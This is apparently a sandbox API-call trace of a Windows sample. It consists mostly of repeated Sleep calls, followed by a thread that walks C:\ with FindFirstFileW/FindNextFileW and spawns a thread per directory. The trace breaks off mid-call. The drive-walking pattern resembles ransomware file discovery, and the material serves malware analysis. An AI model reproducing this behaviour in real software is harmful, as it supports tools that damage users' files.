[0219.804] Sleep (dwMilliseconds=0x1) [0219.817] Sleep (dwMilliseconds=0x1) [0219.833] Sleep (dwMilliseconds=0x1) [0219.849] Sleep (dwMilliseconds=0x1) [0219.864] Sleep (dwMilliseconds=0x1) [0219.880] Sleep (dwMilliseconds=0x1) [0219.898] Sleep (dwMilliseconds=0x1) [0219.911] Sleep (dwMilliseconds=0x1) [0219.927] Sleep (dwMilliseconds=0x1) [0219.942] Sleep (dwMilliseconds=0x1) [0219.958] Sleep (dwMilliseconds=0x1) [0219.973] Sleep (dwMilliseconds=0x1) [0219.989] Sleep (dwMilliseconds=0x1) [0220.006] Sleep (dwMilliseconds=0x1) [0220.020] Sleep (dwMilliseconds=0x1) [0220.036] Sleep (dwMilliseconds=0x1) [0220.054] Sleep (dwMilliseconds=0x1) [0220.067] Sleep (dwMilliseconds=0x1) [0220.083] Sleep (dwMilliseconds=0x1) [0220.098] Sleep (dwMilliseconds=0x1) [0220.115] Sleep (dwMilliseconds=0x1) [0220.135] Sleep (dwMilliseconds=0x1) [0220.145] Sleep (dwMilliseconds=0x1) [0220.161] Sleep (dwMilliseconds=0x1) [0220.176] Sleep (dwMilliseconds=0x1) [0220.192] Sleep (dwMilliseconds=0x1) [0220.207] Sleep (dwMilliseconds=0x1) [0220.225] Sleep (dwMilliseconds=0x1) [0220.239] Sleep (dwMilliseconds=0x1) [0220.254] Sleep (dwMilliseconds=0x1) [0220.270] Sleep (dwMilliseconds=0x1) [0220.285] Sleep (dwMilliseconds=0x1) [0220.301] Sleep (dwMilliseconds=0x1) [0220.317] Sleep (dwMilliseconds=0x1) [0220.337] Sleep (dwMilliseconds=0x1) [0220.348] Sleep (dwMilliseconds=0x1) [0220.406] Sleep (dwMilliseconds=0x1) [0220.481] Sleep (dwMilliseconds=0x1) [0220.498] Sleep (dwMilliseconds=0x1) [0220.519] Sleep (dwMilliseconds=0x1) [0220.524] Sleep (dwMilliseconds=0x1) [0220.535] Sleep (dwMilliseconds=0x1) [0220.551] Sleep (dwMilliseconds=0x1) [0220.566] Sleep (dwMilliseconds=0x1) [0220.584] Sleep (dwMilliseconds=0x1) [0220.597] Sleep (dwMilliseconds=0x1) [0220.613] Sleep (dwMilliseconds=0x1) [0220.629] Sleep (dwMilliseconds=0x1) [0220.644] Sleep (dwMilliseconds=0x1) [0220.660] Sleep (dwMilliseconds=0x1) [0220.676] Sleep (dwMilliseconds=0x1) [0220.693] Sleep (dwMilliseconds=0x1) [0220.707] Sleep (dwMilliseconds=0x1) [0220.722] Sleep (dwMilliseconds=0x1) [0220.738] Sleep (dwMilliseconds=0x1) [0220.753] Sleep (dwMilliseconds=0x1) [0220.769] Sleep (dwMilliseconds=0x1) [0220.785] Sleep (dwMilliseconds=0x1) [0220.802] Sleep (dwMilliseconds=0x1) [0220.816] Sleep (dwMilliseconds=0x1) [0220.831] Sleep (dwMilliseconds=0x1) [0220.847] Sleep (dwMilliseconds=0x1) [0220.863] Sleep (dwMilliseconds=0x1) [0220.878] Sleep (dwMilliseconds=0x1) [0220.894] Sleep (dwMilliseconds=0x1) [0220.914] Sleep (dwMilliseconds=0x1) [0220.933] Sleep (dwMilliseconds=0x1) [0220.941] Sleep (dwMilliseconds=0x1) [0220.956] Sleep (dwMilliseconds=0x1) [0220.972] Sleep (dwMilliseconds=0x1) [0220.987] Sleep (dwMilliseconds=0x1) [0221.003] Sleep (dwMilliseconds=0x1) [0221.022] Sleep (dwMilliseconds=0x1) [0221.034] Sleep (dwMilliseconds=0x1) [0221.050] Sleep (dwMilliseconds=0x1) [0221.066] Sleep (dwMilliseconds=0x1) [0221.081] Sleep (dwMilliseconds=0x1) [0221.097] Sleep (dwMilliseconds=0x1) [0221.112] Sleep (dwMilliseconds=0x1) [0221.136] Sleep (dwMilliseconds=0x1) [0221.143] Sleep (dwMilliseconds=0x1) [0221.159] Sleep (dwMilliseconds=0x1) [0221.175] Sleep (dwMilliseconds=0x1) [0221.191] Sleep (dwMilliseconds=0x1) [0221.257] Sleep (dwMilliseconds=0x1) [0221.276] Sleep (dwMilliseconds=0x1) [0221.284] Sleep (dwMilliseconds=0x1) [0221.347] Sleep (dwMilliseconds=0x1) [0221.371] Sleep (dwMilliseconds=0x1) [0221.431] Sleep (dwMilliseconds=0x1) [0221.463] Sleep (dwMilliseconds=0x1) [0221.514] Sleep (dwMilliseconds=0x1) [0221.549] Sleep (dwMilliseconds=0x1) [0221.591] Sleep (dwMilliseconds=0x1) [0221.607] Sleep (dwMilliseconds=0x1) [0221.614] Sleep (dwMilliseconds=0x1) [0221.627] Sleep (dwMilliseconds=0x1) [0221.643] Sleep (dwMilliseconds=0x1) [0221.658] Sleep (dwMilliseconds=0x1) [0221.674] Sleep (dwMilliseconds=0x1) [0221.689] Sleep (dwMilliseconds=0x1) [0221.705] Sleep (dwMilliseconds=0x1) [0221.723] Sleep (dwMilliseconds=0x1) [0221.736] Sleep (dwMilliseconds=0x1) [0221.752] Sleep (dwMilliseconds=0x1) [0221.767] Sleep (dwMilliseconds=0x1) [0221.783] Sleep (dwMilliseconds=0x1) [0221.799] Sleep (dwMilliseconds=0x1) [0221.814] Sleep (dwMilliseconds=0x1) [0221.832] Sleep (dwMilliseconds=0x1) [0221.846] Sleep (dwMilliseconds=0x1) [0221.863] Sleep (dwMilliseconds=0x1) [0221.877] Sleep (dwMilliseconds=0x1) [0221.893] Sleep (dwMilliseconds=0x1) [0221.908] Sleep (dwMilliseconds=0x1) [0221.923] Sleep (dwMilliseconds=0x1) [0221.943] Sleep (dwMilliseconds=0x1) [0221.955] Sleep (dwMilliseconds=0x1) [0221.971] Sleep (dwMilliseconds=0x1) [0221.986] Sleep (dwMilliseconds=0x1) [0222.001] Sleep (dwMilliseconds=0x1) [0222.017] Sleep (dwMilliseconds=0x1) [0222.033] Sleep (dwMilliseconds=0x1) [0222.052] Sleep (dwMilliseconds=0x1) [0222.064] Sleep (dwMilliseconds=0x1) [0222.081] Sleep (dwMilliseconds=0x1) [0222.095] Sleep (dwMilliseconds=0x1) [0222.111] Sleep (dwMilliseconds=0x1) [0222.132] Sleep (dwMilliseconds=0x1) [0222.142] Sleep (dwMilliseconds=0x1) [0222.159] Sleep (dwMilliseconds=0x1) [0222.173] Sleep (dwMilliseconds=0x1) [0222.189] Sleep (dwMilliseconds=0x1) [0222.204] Sleep (dwMilliseconds=0x1) [0222.220] Sleep (dwMilliseconds=0x1) [0222.235] Sleep (dwMilliseconds=0x1) [0222.251] Sleep (dwMilliseconds=0x1) [0222.268] Sleep (dwMilliseconds=0x1) [0222.282] Sleep (dwMilliseconds=0x1) [0222.298] Sleep (dwMilliseconds=0x1) [0222.313] Sleep (dwMilliseconds=0x1) [0222.330] Sleep (dwMilliseconds=0x1) [0222.385] Sleep (dwMilliseconds=0x1) [0222.391] Sleep (dwMilliseconds=0x1) [0222.407] Sleep (dwMilliseconds=0x1) [0222.423] Sleep (dwMilliseconds=0x1) [0222.439] Sleep (dwMilliseconds=0x1) [0222.455] Sleep (dwMilliseconds=0x1) [0222.470] Sleep (dwMilliseconds=0x1) [0222.487] Sleep (dwMilliseconds=0x1) [0222.508] Sleep (dwMilliseconds=0x1) [0222.516] Sleep (dwMilliseconds=0x1) [0222.532] Sleep (dwMilliseconds=0x1) [0222.547] Sleep (dwMilliseconds=0x1) [0222.563] Sleep (dwMilliseconds=0x1) [0222.579] Sleep (dwMilliseconds=0x1) [0222.597] Sleep (dwMilliseconds=0x1) [0222.611] Sleep (dwMilliseconds=0x1) [0222.630] Sleep (dwMilliseconds=0x1) [0222.642] Sleep (dwMilliseconds=0x1) [0222.657] Sleep (dwMilliseconds=0x1) [0222.672] Sleep (dwMilliseconds=0x1) [0222.688] Sleep (dwMilliseconds=0x1) [0222.705] Sleep (dwMilliseconds=0x1) [0222.719] Sleep (dwMilliseconds=0x1) [0222.735] Sleep (dwMilliseconds=0x1) [0222.750] Sleep (dwMilliseconds=0x1) [0222.766] Sleep (dwMilliseconds=0x1) [0222.781] Sleep (dwMilliseconds=0x1) [0222.797] Sleep (dwMilliseconds=0x1) [0222.814] Sleep (dwMilliseconds=0x1) [0222.828] Sleep (dwMilliseconds=0x1) [0222.844] Sleep (dwMilliseconds=0x1) [0222.859] Sleep (dwMilliseconds=0x1) [0222.875] Sleep (dwMilliseconds=0x1) [0222.891] Sleep (dwMilliseconds=0x1) [0222.906] Sleep (dwMilliseconds=0x1) [0222.923] Sleep (dwMilliseconds=0x1) [0222.938] Sleep (dwMilliseconds=0x1) [0222.953] Sleep (dwMilliseconds=0x1) [0222.969] Sleep (dwMilliseconds=0x1) [0222.984] Sleep (dwMilliseconds=0x1) [0223.000] Sleep (dwMilliseconds=0x1) [0223.015] Sleep (dwMilliseconds=0x1) [0223.033] Sleep (dwMilliseconds=0x1) [0223.047] Sleep (dwMilliseconds=0x1) [0223.062] Sleep (dwMilliseconds=0x1) [0223.078] Sleep (dwMilliseconds=0x1) [0223.094] Sleep (dwMilliseconds=0x1) [0223.111] Sleep (dwMilliseconds=0x1) [0223.129] Sleep (dwMilliseconds=0x1) [0223.142] Sleep (dwMilliseconds=0x1) [0223.156] Sleep (dwMilliseconds=0x1) [0223.171] Sleep (dwMilliseconds=0x1) [0223.187] Sleep (dwMilliseconds=0x1) [0223.211] Sleep (dwMilliseconds=0x1) [0223.218] Sleep (dwMilliseconds=0x1) [0223.234] Sleep (dwMilliseconds=0x1) [0223.252] Sleep (dwMilliseconds=0x1) [0223.265] Sleep (dwMilliseconds=0x1) [0223.281] Sleep (dwMilliseconds=0x1) [0223.296] Sleep (dwMilliseconds=0x1) [0223.312] Sleep (dwMilliseconds=0x1) [0223.328] Sleep (dwMilliseconds=0x1) [0223.343] Sleep (dwMilliseconds=0x1) [0223.360] Sleep (dwMilliseconds=0x1) [0223.374] Sleep (dwMilliseconds=0x1) [0223.390] Sleep (dwMilliseconds=0x1) [0223.405] Sleep (dwMilliseconds=0x1) [0223.421] Sleep (dwMilliseconds=0x1) [0223.437] Sleep (dwMilliseconds=0x1) [0223.452] Sleep (dwMilliseconds=0x1) [0223.469] Sleep (dwMilliseconds=0x1) [0223.485] Sleep (dwMilliseconds=0x1) [0223.499] Sleep (dwMilliseconds=0x1) [0223.522] Sleep (dwMilliseconds=0x1) [0223.531] Sleep (dwMilliseconds=0x1) [0223.546] Sleep (dwMilliseconds=0x1) [0223.561] Sleep (dwMilliseconds=0x1) [0223.579] Sleep (dwMilliseconds=0x1) [0223.593] Sleep (dwMilliseconds=0x1) [0223.608] Sleep (dwMilliseconds=0x1) [0223.624] Sleep (dwMilliseconds=0x1) [0223.639] Sleep (dwMilliseconds=0x1) [0223.655] Sleep (dwMilliseconds=0x1) [0223.671] Sleep (dwMilliseconds=0x1) [0223.688] Sleep (dwMilliseconds=0x1) [0223.702] Sleep (dwMilliseconds=0x1) [0223.717] Sleep (dwMilliseconds=0x1) [0223.733] Sleep (dwMilliseconds=0x1) [0223.749] Sleep (dwMilliseconds=0x1) [0223.764] Sleep (dwMilliseconds=0x1) [0223.780] Sleep (dwMilliseconds=0x1) [0223.797] Sleep (dwMilliseconds=0x1) [0223.811] Sleep (dwMilliseconds=0x1) [0223.828] Sleep (dwMilliseconds=0x1) [0223.842] Sleep (dwMilliseconds=0x1) [0223.858] Sleep (dwMilliseconds=0x1) [0223.874] Sleep (dwMilliseconds=0x1) [0223.889] Sleep (dwMilliseconds=0x1) [0223.906] Sleep (dwMilliseconds=0x1) [0223.922] Sleep (dwMilliseconds=0x1) [0223.936] Sleep (dwMilliseconds=0x1) [0223.951] Sleep (dwMilliseconds=0x1) [0223.967] Sleep (dwMilliseconds=0x1) [0223.983] Sleep (dwMilliseconds=0x1) [0223.999] Sleep (dwMilliseconds=0x1) [0224.015] Sleep (dwMilliseconds=0x1) [0224.030] Sleep (dwMilliseconds=0x1) [0224.045] Sleep (dwMilliseconds=0x1) [0224.061] Sleep (dwMilliseconds=0x1) [0224.078] Sleep (dwMilliseconds=0x1) [0224.092] Sleep (dwMilliseconds=0x1) [0224.108] Sleep (dwMilliseconds=0x1) [0224.125] Sleep (dwMilliseconds=0x1) [0224.144] Sleep (dwMilliseconds=0x1) [0224.154] Sleep (dwMilliseconds=0x1) [0224.170] Sleep (dwMilliseconds=0x1) [0224.185] Sleep (dwMilliseconds=0x1) [0224.201] Sleep (dwMilliseconds=0x1) [0224.218] Sleep (dwMilliseconds=0x1) [0224.234] Sleep (dwMilliseconds=0x1) [0224.248] Sleep (dwMilliseconds=0x1) [0224.263] Sleep (dwMilliseconds=0x1) [0224.279] Sleep (dwMilliseconds=0x1) [0224.295] Sleep (dwMilliseconds=0x1) [0224.310] Sleep (dwMilliseconds=0x1) [0224.326] Sleep (dwMilliseconds=0x1) [0224.344] Sleep (dwMilliseconds=0x1) [0224.357] Sleep (dwMilliseconds=0x1) [0224.373] Sleep (dwMilliseconds=0x1) [0224.388] Sleep (dwMilliseconds=0x1) [0224.404] Sleep (dwMilliseconds=0x1) [0224.421] Sleep (dwMilliseconds=0x1) [0224.435] Sleep (dwMilliseconds=0x1) [0224.452] Sleep (dwMilliseconds=0x1) [0224.466] Sleep (dwMilliseconds=0x1) [0224.482] Sleep (dwMilliseconds=0x1) [0224.499] Sleep (dwMilliseconds=0x1) [0224.513] Sleep (dwMilliseconds=0x1) [0224.537] Sleep (dwMilliseconds=0x1) [0224.546] Sleep (dwMilliseconds=0x1) [0224.562] Sleep (dwMilliseconds=0x1) [0224.576] Sleep (dwMilliseconds=0x1) [0224.591] Sleep (dwMilliseconds=0x1) [0224.607] Sleep (dwMilliseconds=0x1) [0224.624] Sleep (dwMilliseconds=0x1) [0224.638] Sleep (dwMilliseconds=0x1) [0224.653] Sleep (dwMilliseconds=0x1) [0224.671] Sleep (dwMilliseconds=0x1) [0224.685] Sleep (dwMilliseconds=0x1) [0224.702] Sleep (dwMilliseconds=0x1) [0224.716] Sleep (dwMilliseconds=0x1) [0224.731] Sleep (dwMilliseconds=0x1) [0224.747] Sleep (dwMilliseconds=0x1) [0224.763] Sleep (dwMilliseconds=0x1) [0224.780] Sleep (dwMilliseconds=0x1) [0224.794] Sleep (dwMilliseconds=0x1) [0224.810] Sleep (dwMilliseconds=0x1) [0224.825] Sleep (dwMilliseconds=0x1) [0224.841] Sleep (dwMilliseconds=0x1) [0224.856] Sleep (dwMilliseconds=0x1) [0224.872] Sleep (dwMilliseconds=0x1) [0224.889] Sleep (dwMilliseconds=0x1) [0224.903] Sleep (dwMilliseconds=0x1) [0224.919] Sleep (dwMilliseconds=0x1) [0224.935] Sleep (dwMilliseconds=0x1) [0224.950] Sleep (dwMilliseconds=0x1) [0224.965] Sleep (dwMilliseconds=0x1) [0224.981] Sleep (dwMilliseconds=0x1) [0225.001] Sleep (dwMilliseconds=0x1) [0225.013] Sleep (dwMilliseconds=0x1) [0225.028] Sleep (dwMilliseconds=0x1) [0225.044] Sleep (dwMilliseconds=0x1) [0225.059] Sleep (dwMilliseconds=0x1) [0225.075] Sleep (dwMilliseconds=0x1) [0225.090] Sleep (dwMilliseconds=0x1) [0225.108] Sleep (dwMilliseconds=0x1) [0225.122] Sleep (dwMilliseconds=0x1) [0225.142] Sleep (dwMilliseconds=0x1) [0225.153] Sleep (dwMilliseconds=0x1) [0225.168] Sleep (dwMilliseconds=0x1) [0225.184] Sleep (dwMilliseconds=0x1) [0225.199] Sleep (dwMilliseconds=0x1) [0225.217] Sleep (dwMilliseconds=0x1) [0225.231] Sleep (dwMilliseconds=0x1) [0225.246] Sleep (dwMilliseconds=0x1) [0225.262] Sleep (dwMilliseconds=0x1) [0225.317] Sleep (dwMilliseconds=0x1) [0225.327] Sleep (dwMilliseconds=0x1) [0225.340] Sleep (dwMilliseconds=0x1) [0225.356] Sleep (dwMilliseconds=0x1) [0225.371] Sleep (dwMilliseconds=0x1) [0225.387] Sleep (dwMilliseconds=0x1) [0225.402] Sleep (dwMilliseconds=0x1) [0225.418] Sleep (dwMilliseconds=0x1) [0225.435] Sleep (dwMilliseconds=0x1) [0225.449] Sleep (dwMilliseconds=0x1) [0225.465] Sleep (dwMilliseconds=0x1) [0225.480] Sleep (dwMilliseconds=0x1) [0225.496] Sleep (dwMilliseconds=0x1) [0225.511] Sleep (dwMilliseconds=0x1) [0225.527] Sleep (dwMilliseconds=0x1) [0225.552] Sleep (dwMilliseconds=0x1) [0225.558] Sleep (dwMilliseconds=0x1) [0225.574] Sleep (dwMilliseconds=0x1) [0225.589] Sleep (dwMilliseconds=0x1) [0225.605] Sleep (dwMilliseconds=0x1) [0225.621] Sleep (dwMilliseconds=0x1) [0225.636] Sleep (dwMilliseconds=0x1) [0225.654] Sleep (dwMilliseconds=0x1) [0225.667] Sleep (dwMilliseconds=0x1) [0225.683] Sleep (dwMilliseconds=0x1) [0225.699] Sleep (dwMilliseconds=0x1) [0225.714] Sleep (dwMilliseconds=0x1) [0225.730] Sleep (dwMilliseconds=0x1) [0225.745] Sleep (dwMilliseconds=0x1) [0225.763] Sleep (dwMilliseconds=0x1) [0225.777] Sleep (dwMilliseconds=0x1) [0225.794] Sleep (dwMilliseconds=0x1) [0225.808] Sleep (dwMilliseconds=0x1) [0225.823] Sleep (dwMilliseconds=0x1) [0225.839] Sleep (dwMilliseconds=0x1) [0225.855] Sleep (dwMilliseconds=0x1) [0225.872] Sleep (dwMilliseconds=0x1) [0225.886] Sleep (dwMilliseconds=0x1) [0225.901] Sleep (dwMilliseconds=0x1) [0225.917] Sleep (dwMilliseconds=0x1) [0225.933] Sleep (dwMilliseconds=0x1) [0225.948] Sleep (dwMilliseconds=0x1) [0225.964] Sleep (dwMilliseconds=0x1) [0225.981] Sleep (dwMilliseconds=0x1) [0225.995] Sleep (dwMilliseconds=0x1) [0226.011] Sleep (dwMilliseconds=0x1) [0226.026] Sleep (dwMilliseconds=0x1) [0226.042] Sleep (dwMilliseconds=0x1) [0226.059] Sleep (dwMilliseconds=0x1) [0226.073] Sleep (dwMilliseconds=0x1) [0226.090] Sleep (dwMilliseconds=0x1) [0226.104] Sleep (dwMilliseconds=0x1) [0226.120] Sleep (dwMilliseconds=0x1) [0226.140] Sleep (dwMilliseconds=0x1) [0226.151] Sleep (dwMilliseconds=0x1) [0226.167] Sleep (dwMilliseconds=0x1) [0226.182] Sleep (dwMilliseconds=0x1) [0226.200] Sleep (dwMilliseconds=0x1) [0226.213] Sleep (dwMilliseconds=0x1) [0226.229] Sleep (dwMilliseconds=0x1) [0226.245] Sleep (dwMilliseconds=0x1) [0226.262] Sleep (dwMilliseconds=0x1) [0226.276] Sleep (dwMilliseconds=0x1) [0226.292] Sleep (dwMilliseconds=0x1) [0226.309] Sleep (dwMilliseconds=0x1) [0226.324] Sleep (dwMilliseconds=0x1) [0226.339] Sleep (dwMilliseconds=0x1) [0226.354] Sleep (dwMilliseconds=0x1) [0226.369] Sleep (dwMilliseconds=0x1) [0226.385] Sleep (dwMilliseconds=0x1) [0226.401] Sleep (dwMilliseconds=0x1) [0226.418] Sleep (dwMilliseconds=0x1) [0226.433] Sleep (dwMilliseconds=0x1) [0226.447] Sleep (dwMilliseconds=0x1) [0226.463] Sleep (dwMilliseconds=0x1) [0226.479] Sleep (dwMilliseconds=0x1) [0226.494] Sleep (dwMilliseconds=0x1) [0226.510] Sleep (dwMilliseconds=0x1) [0226.529] Sleep (dwMilliseconds=0x1) [0226.541] Sleep (dwMilliseconds=0x1) [0226.566] Sleep (dwMilliseconds=0x1) [0226.572] Sleep (dwMilliseconds=0x1) [0226.588] Sleep (dwMilliseconds=0x1) [0226.603] Sleep (dwMilliseconds=0x1) [0226.619] Sleep (dwMilliseconds=0x1) [0226.636] Sleep (dwMilliseconds=0x1) [0226.650] Sleep (dwMilliseconds=0x1) [0226.666] Sleep (dwMilliseconds=0x1) [0226.681] Sleep (dwMilliseconds=0x1) [0226.697] Sleep (dwMilliseconds=0x1) [0226.713] Sleep (dwMilliseconds=0x1) [0226.728] Sleep (dwMilliseconds=0x1) [0226.746] Sleep (dwMilliseconds=0x1) [0226.759] Sleep (dwMilliseconds=0x1) [0226.775] Sleep (dwMilliseconds=0x1) [0226.791] Sleep (dwMilliseconds=0x1) [0226.806] Sleep (dwMilliseconds=0x1) [0226.824] Sleep (dwMilliseconds=0x1) [0226.837] Sleep (dwMilliseconds=0x1) [0226.855] Sleep (dwMilliseconds=0x1) [0226.869] Sleep (dwMilliseconds=0x1) [0226.884] Sleep (dwMilliseconds=0x1) [0226.900] Sleep (dwMilliseconds=0x1) [0226.915] Sleep (dwMilliseconds=0x1) [0226.931] Sleep (dwMilliseconds=0x1) [0226.947] Sleep (dwMilliseconds=0x1) [0226.964] Sleep (dwMilliseconds=0x1) [0226.978] Sleep (dwMilliseconds=0x1) [0226.994] Sleep (dwMilliseconds=0x1) [0227.009] Sleep (dwMilliseconds=0x1) [0227.025] Sleep (dwMilliseconds=0x1) [0227.040] Sleep (dwMilliseconds=0x1) [0227.056] Sleep (dwMilliseconds=0x1) [0227.073] Sleep (dwMilliseconds=0x1) [0227.087] Sleep (dwMilliseconds=0x1) [0227.103] Sleep (dwMilliseconds=0x1) [0227.118] Sleep (dwMilliseconds=0x1) [0227.141] Sleep (dwMilliseconds=0x1) [0227.150] Sleep (dwMilliseconds=0x1) [0227.165] Sleep (dwMilliseconds=0x1) [0227.184] Sleep (dwMilliseconds=0x1) [0227.196] Sleep (dwMilliseconds=0x1) [0227.213] Sleep (dwMilliseconds=0x1) [0227.227] Sleep (dwMilliseconds=0x1) [0227.243] Sleep (dwMilliseconds=0x1) [0227.259] Sleep (dwMilliseconds=0x1) [0227.274] Sleep (dwMilliseconds=0x1) [0227.292] Sleep (dwMilliseconds=0x1) [0227.306] Sleep (dwMilliseconds=0x1) [0227.321] Sleep (dwMilliseconds=0x1) [0227.337] Sleep (dwMilliseconds=0x1) [0227.352] Sleep (dwMilliseconds=0x1) [0227.368] Sleep (dwMilliseconds=0x1) [0227.383] Sleep (dwMilliseconds=0x1) [0227.401] Sleep (dwMilliseconds=0x1) [0227.415] Sleep (dwMilliseconds=0x1) [0227.430] Sleep (dwMilliseconds=0x1) [0227.446] Sleep (dwMilliseconds=0x1) [0227.461] Sleep (dwMilliseconds=0x1) [0227.477] Sleep (dwMilliseconds=0x1) [0227.493] Sleep (dwMilliseconds=0x1) [0227.510] Sleep (dwMilliseconds=0x1) [0227.524] Sleep (dwMilliseconds=0x1) [0227.541] Sleep (dwMilliseconds=0x1) [0227.555] Sleep (dwMilliseconds=0x1) [0227.580] Sleep (dwMilliseconds=0x1) [0227.586] Sleep (dwMilliseconds=0x1) [0227.602] Sleep (dwMilliseconds=0x1) [0227.619] Sleep (dwMilliseconds=0x1) [0227.635] Sleep (dwMilliseconds=0x1) [0227.649] Sleep (dwMilliseconds=0x1) [0227.664] Sleep (dwMilliseconds=0x1) [0227.680] Sleep (dwMilliseconds=0x1) [0227.695] Sleep (dwMilliseconds=0x1) [0227.711] Sleep (dwMilliseconds=0x1) [0227.728] Sleep (dwMilliseconds=0x1) [0227.742] Sleep (dwMilliseconds=0x1) [0227.758] Sleep (dwMilliseconds=0x1) [0227.773] Sleep (dwMilliseconds=0x1) [0227.789] Sleep (dwMilliseconds=0x1) [0227.805] Sleep (dwMilliseconds=0x1) [0227.820] Sleep (dwMilliseconds=0x1) [0227.839] Sleep (dwMilliseconds=0x1) [0227.851] Sleep (dwMilliseconds=0x1) [0227.868] Sleep (dwMilliseconds=0x1) [0227.883] Sleep (dwMilliseconds=0x1) [0227.898] Sleep (dwMilliseconds=0x1) [0227.914] Sleep (dwMilliseconds=0x1) [0227.932] Sleep (dwMilliseconds=0x1) [0227.947] Sleep (dwMilliseconds=0x1) [0227.961] Sleep (dwMilliseconds=0x1) [0227.976] Sleep (dwMilliseconds=0x1) [0227.992] Sleep (dwMilliseconds=0x1) [0228.007] Sleep (dwMilliseconds=0x1) [0228.023] Sleep (dwMilliseconds=0x1) [0228.056] Sleep (dwMilliseconds=0x1) [0228.400] Sleep (dwMilliseconds=0x1) Thread: id = 1619 os_tid = 0x668 [0139.457] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc) returned 0x8e5bd8 [0139.457] wcscpy (in: _Dest=0x8e5bd8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.457] wcscat (in: _Dest=0x8e5bd8, _Source="*" | out: _Dest="C:\\*") returned="C:\\*" [0139.457] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f3c10 [0139.457] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x8d9ad0 [0139.457] wcscmp (_String1="$Recycle.Bin", _String2=".") returned -1 [0139.457] wcscmp (_String1="$Recycle.Bin", _String2="..") returned -1 [0139.458] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x22) returned 0x8d87a8 [0139.458] wcscpy (in: _Dest=0x8d87a8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.458] wcscat (in: _Dest=0x8d87a8, _Source="$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0139.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d87a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180 [0139.459] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0139.459] wcscmp (_String1="Boot", _String2=".") returned 1 [0139.459] wcscmp (_String1="Boot", _String2="..") returned 1 [0139.459] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12) returned 0x8e5638 [0139.459] wcscpy (in: _Dest=0x8e5638, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.459] wcscat (in: _Dest=0x8e5638, _Source="Boot" | out: _Dest="C:\\Boot") returned="C:\\Boot" [0139.459] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5638) returned 1 [0139.459] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0139.459] wcscmp (_String1="bootmgr", _String2=".") returned 1 [0139.459] wcscmp (_String1="bootmgr", _String2="..") returned 1 [0139.459] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0139.459] wcscmp (_String1="BOOTSECT.BAK", _String2=".") returned 1 [0139.459] wcscmp (_String1="BOOTSECT.BAK", _String2="..") returned 1 [0139.459] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0139.459] wcscmp (_String1="Config.Msi", _String2=".") returned 1 [0139.459] wcscmp (_String1="Config.Msi", _String2="..") returned 1 [0139.459] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1e) returned 0x8e9878 [0139.459] wcscpy (in: _Dest=0x8e9878, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.459] wcscat (in: _Dest=0x8e9878, _Source="Config.Msi" | 